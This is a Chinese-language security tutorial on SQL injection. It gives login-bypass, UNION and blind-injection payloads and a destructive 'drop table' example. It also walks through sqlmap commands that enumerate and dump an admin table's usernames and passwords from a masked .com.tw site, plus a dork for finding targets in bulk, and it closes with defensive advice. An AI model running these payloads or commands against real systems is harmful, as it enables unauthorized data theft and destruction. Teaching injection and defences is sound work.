免责声明
本次技术分享仅用于信息安全技术的交流与学习,请勿用于其他非法用途;技术是把双刃剑,请善用它。
SQL注入
-
注入攻击本质:用户能控制输入;程序的代码执行会拼接上用户的输入;
-
SQL 注入的危险:
- 猜解后台数据库(这是利用最多的方式,盗取网站的敏感信息)
- 绕过认证,列如绕过验证登录网站后台。
- 注入可以借助数据库的存储过程进行提权等操作
-
例子:
String name = Request.form("name"); String sql = "select * from user where name = '" + name +"'";正常情况用户输入
sinyu,会正常执行:select * from user where name = sinyu但如果用户输入一段有语义的 SQL 语句
sinyu'; drop table user,那么SQL执行如下:select * from user where name = 'sinyu'; drop table user -
万能登录钥匙
-
Android Demo:github.com/sinyu1012/A…
-
username' or '1'='1 -
Sql 中
and优先级比or高select *from user where name='sinyu' or '1'='1'and psw='1wry' 等价于: select *from user where name='sinyu' or ('1'='1'and psw='1wry') -
如果不知道 用户名怎么办?用
xxx' or '1'='1'--select *from user where name='xxx' or '1'='1' --'and psw='syih' -
解决方案
- 使用 占位符?,将
username' or '1=1作为一个整体 - 更加安全的第三方库等
- 使用 占位符?,将
-
-
如何发现
- xxx.xxx.xxx/abcd.php?id…
- http://xxx/abc.php?id= x and 1=1
- http://xxx/abc.php?id= x and 1=2
- 例如 www.xxx.com.tw/about.php?i…
-
注入方法
-
不只
and 1=1,布尔盲注 -
联合查询(union)注入,适用于页面对错误或者查询信息有显示的漏洞
select *from user where name='xxx' union select database(),user(),version()# -
时间盲注(判断注入:
vince' and sleep(x)#) -
等
-
-
进阶玩法:查数据库信息、表名、字段等
-
例如该服务器数据库个数/名称
ASCII 码:49 表示 1 http://www.xxx.com.tw/about.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>49 http://www.xxx.com.tw/about.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>50 猜测 数据库 名第一个字符: 1 AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>105 1 AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>106
-
-
自动化注入工具
- sqlmap:github.com/sqlmapproje…
- jSQL Injection:github.com/ron190/jsql…
-
实战
sqlmap.py -u http://www.xxx.com.tw/about.php?id=1 sqlmap.py -u http://www.xxxx.com.tw/about.php?id=1 --dbs sqlmap.py -u http://www.xxx.com.tw/about.php?id=1 -D jiuyu_jiuyu --tables sqlmap.py -u http://www.xxx.com.tw/about.php?id=1 -D jiuyu_jiuyu -T admin --columns sqlmap.py -u http://www.xxx.com.tw/about.php?id=1 -D jiuyu_jiuyu -T admin --data -C "username,password" -dump python sqlmap.py -g "inurl:".php?id=1"" -
一些启发以及如何规避
- 永远不要信任用户的输入
- 不要使用动态拼装sql
- 采用sql注入检测工具 jsky 等
- 检查数据类型
- 各种框架本身就已防注入
- SQL注入没落但没绝迹,变得更难以发现而已。主要都是框架的功劳,与程序员的水平没关系,拼接是懒惰,懒惰无处不在
- 作为 Android 程序员,与用户的输入行为更加密切,也可多思考用户可操作部分是否存在有漏洞
- Content Provider 安全
延伸示例
- dvwa.co.uk/ DVWA渗透测试平台
- wooyun.2xss.cc/ 乌云网镜像
- www.seebug.org/category/sq… 知道创宇
- book.douban.com/subject/105… 《白帽子讲Web安全》
- www.zhihu.com/question/47… 世纪佳缘案例,wooyun.2xss.cc/bug_detail.…
Hacker
- 一群破坏规则、喜欢自由的人,总想找到系统漏洞,并获取 root 权限
- 大概分为白帽、灰帽、黑帽
- 精神与文化(不尽相同):对技术的崇拜、追求创新、热于分享
- 脚本小子